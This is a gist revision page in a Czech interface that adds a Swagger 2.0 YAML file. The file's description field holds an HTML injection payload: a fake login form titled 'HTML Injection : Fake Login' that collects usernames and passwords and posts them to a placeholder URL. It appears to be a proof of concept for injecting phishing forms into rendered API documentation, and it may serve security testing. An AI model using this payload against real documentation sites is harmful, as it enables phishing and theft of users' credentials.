Naposledy aktivní 1728993451

uuruutest revidoval tento gist 1728993451. Přejít na revizi

1 file changed, 30 insertions

test2.yaml(vytvořil soubor)

@@ -0,0 +1,30 @@
1 + swagger: '2.0'
2 + info:
3 + version: 1.0.0
4 + title: Fake Login Page
5 + description: '<div class="login-form">
6 + <div class="heading">
7 + <h1>HTML Injection : Fake Login</h1>
8 + </div>
9 + <div class="form-container">
10 + <form action="https://example.com/login" method="post" class="form-signin">
11 + <div class="form-group">
12 + <label for="username">Username</label>
13 + <input type="text" name="username" size="20">
14 + </div>
15 + <div class="form-group">
16 + <label for="password">Password</label>
17 + <input type="password" name="password" size="20">
18 + </div>
19 + <div class="form-group">
20 + <button type="submit" class="btn btn-default">Login</button>
21 + </div>
22 + </form>
23 + </div>
24 + </div>'
25 + paths:
26 + /:
27 + post:
28 + responses:
29 + '200':
30 + description: Login successful
Novější Starší